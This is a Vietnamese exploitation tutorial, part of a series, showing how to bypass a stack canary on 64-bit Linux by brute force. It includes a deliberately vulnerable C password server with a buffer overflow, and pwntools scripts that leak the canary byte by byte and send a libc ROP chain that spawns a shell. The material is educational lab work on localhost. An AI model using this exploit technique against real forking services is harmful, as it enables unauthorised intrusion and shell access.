Linux Exploit – Buffer Overflow – Phần 5 – Bypass Stack Canary (Linux 64 bits) by Brute force

Sau phần 4, hướng dẫn cách bypass NX (Non-executable Stack), hôm nay mình sẽ hướng dẫn cách bypass stack canary trên linux 64 bits bằng phương pháp brute force. 1. Stack canary là gì? Stack canary là cơ chế bảo mật cho stack, nó ngăn chúng ta thực hiện khai thác thỗi buffer overflow nhằm

Sau phần 4, hướng dẫn cách bypass NX (Non-executable Stack), hôm nay mình sẽ hướng dẫn cách bypass stack canary trên linux 64 bits bằng phương pháp brute force.

1. Stack canary là gì?

Stack canary là cơ chế bảo mật cho stack, nó ngăn chúng ta thực hiện khai thác thỗi buffer overflow nhằm thay đổi thanh ghi và truyền shellcode. Hiểu đơn giản, mình có hình ảnh stack trước và sau khi sử dụng stack canary như sau:

Như vậy, 8 bytes được thêm vào sau phần buffer, đảm bảo răng nếu xảy ra lỗi buffer overflow, stack canary sẽ bị thay đổi, từ đó ngăn chặn việc khai thác có thể xảy ra.
Theo cơ chế này, chúng ta có cách khai thác là brute force, tìm ra stack canary sau đó gửi kèm payload để thực hiện khai thác

2. Phân tích chương trình khai thác với gdb

Sau bài viết về socket programming, mình thực hiện viết server để khai thác với mã code c như sau, mình đã update lên link github : https://github.com/vuongle-vigo/BinaryExploit/tree/master/Buffer Overflow/StackCanary_Bypass

server_vuln.c

# include <stdio.h>
# include <string.h>
# include <stdlib.h>
# include <unistd.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include <sys/socket.h>
# include <sys/types.h>
# include <errno.h>
# include <sys/socket.h>
# include <sys/types.h>

#define BUFFER_SIZE 64
#define PORT 8888
#define SERVER_ADDRESS "127.0.0.1"

const char secret_password[] = "S3cr3tP4ssw0rd";

struct sockaddr_in set_sockaddr_in(char *host, int port){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = inet_addr(host);
    memset(&addr.sin_zero, 0 , sizeof(addr.sin_zero));
    return addr;
}

int set_socket(char *host, int port){
    struct sockaddr_in addr_in = set_sockaddr_in(host, port);
    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sockfd < 0){
        perror("socket");
        close(sockfd);
        exit(-1);}
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int)) == -1) {
    perror("setsockopt() error...n");
    exit(1);
    }
    if(bind(sockfd, (struct sockaddr *)&addr_in, sizeof(struct sockaddr)) < 0){
        perror("bind");
        close(sockfd);
        exit(-1);}
    return sockfd;
}

int auth(int connectfd){
    char message[] = "User Access VerificationnnPassword: ";
    write(connectfd, message, strlen(message));
    char buffer[BUFFER_SIZE];
    int size = read(connectfd, buffer, 512);
    return (strcmp(buffer, secret_password)==0);
}

int main(int argc, char *argv[]){
    int sockfd = set_socket(SERVER_ADDRESS, PORT);
    
    if((listen(sockfd, 5)) == -1) {
        perror("listen");
        close(sockfd);
        exit(-1);
    }
    printf("Listening on %s port %dn", SERVER_ADDRESS, PORT);

    struct sockaddr_in client_addr;
    socklen_t addr_len = sizeof(struct sockaddr_in);
    int connectfd;
    while(1){
        if((connectfd = accept(sockfd, (struct sockaddr *)&client_addr, &addr_len))<0){
            exit(0);
        }
        pid_t pid = fork();
        if(pid<0){
            perror("fork");
            exit(0);
        }
        if(pid==0){//child
            close(sockfd);
            if(auth(connectfd)==1){
            char success[] = "Login successful";
            write(connectfd, success, strlen(success));
            } else {
                char invalid[] = "Invalid Password";
                write(connectfd, invalid, strlen(invalid));
                }
        }
        else if(pid>0){//parrent
            close(connectfd);
        }
    }
    
    return 0;
    
}

Thực hiện compile chương trình: gcc -fstack-protector server_vuln.c -o server_vuln
Sử dụng checksec ta thầy stackcanary đã được bật.
Chạy thử chương trình cùng với netcat ta được kết quả như sau:

Chương trình yêu cầu nhập password, nếu sai sẽ trả về Invalid password.

3. Viết chương trình khai thác với python3 pwntools

Đầu tiên mình sẽ viết file python để xác định xem cần bao nhiêu kí tự để ghi đè lên stack canary:

from pwn import *

context.update(os = "linux", arch = "amd64")

buffer = "A"
payload = buffer


def exploit(payload, interactive=False):
	size_payload = 0
	for i in range(100):
		try:
			r = remote("localhost", 8888, level='error')
			r.sendafter("Password: ", payload)
			recv_data = r.recv(100, 0.1)
			if(recv_data == b"Invalid Password"):
				size_payload += 1
				payload += "A"	
		except EOFError:
			break
		finally:
			r.close()
	print("Size of payload = ", size_payload)
exploit(payload)

Chạy file ta được kết quả như sau:

Vậy kết quả là 72, ta thấy ở server hiện thị stack smashing detected. Tức là ở kí tự thứ 73 đã gây ra lỗi này.
Dưới đây là file python khai thác hoàn thiện của mình, kết hợp với NX_bypass mình viết ở phần trước, ta sẽ lấy được 1 shell.

from pwn import *

context.update(os = "linux", arch = "amd64")

buffer = b'A'*72
payload = buffer

def exploit(payload, interactive=False):
	try:
		r = remote("localhost", 8888, level='error')
		r.sendafter(b"Password: ", payload)
		recv_data = r.recv(100, 0.1)
		if(recv_data == b"Invalid Password"):
			return True
	except EOFError:
		return False
	finally:
		if interactive:
			r.interactive()
		else: 
			r.close()

def leak_bytes(payload, name):
	leak_bytes = []
	progress = log.progress(name, level=logging.WARN)
	for i in range(8):
		for k in range(0,256):
			if(exploit(payload + p8(k))):
				payload = payload + p8(k)
				leak_bytes.insert(0, hex(k))
				progress.status(repr(leak_bytes))
				break
	log.info(f"Leaked {name} = {hex(u64(payload[-8:]))}")
	return payload

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
libc.address = 0x007ffff7dce000
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
rop.system(next(libc.search(b"/bin/sh")))
payload = leak_bytes(payload, "Canary")
payload += p64(0xBADC0FFEE0DDF00D) 
# sys = p64(libc.sym.get("system"))
# exit = p64(libc.sym.get("exit"))
# binsh = p64(next(libc.search(b"/bin/sh")))

# log.info(f"ROP Chain:n{rop.dump()}")

payload += bytes(rop)

exploit(payload, True)

Kết quả nhận được như sau:

Vậy là mình đã lấy được 1 shell.

Nguồn: viblo.asia

Bài viết liên quan

Sự Khác Nhau Giữa Domain và Hosting Là Gì?

Sự khác nhau giữa domain và hosting là gì? Bài này giải thích ngắn và dễ hiểu nh

Shared Hosting hay VPS Hosting: Lựa chọn nào dành cho bạn?

Bài viết giải thích rõ shared hosting và vps hosting là gì và hướng dẫn chọn lựa

Thay đổi Package Name của Android Studio dể dàng với plugin APR

Nếu bạn đang gặp khó khăn hoặc bế tắc trong việc thay đổi package name trong And

Lỗi không Update Meta_Value Khi thay thế hình ảnh cũ bằng hình ảnh mới trong WordPress

Mã dưới đây hoạt động tốt có 1 lỗi không update được postmeta ” meta_key=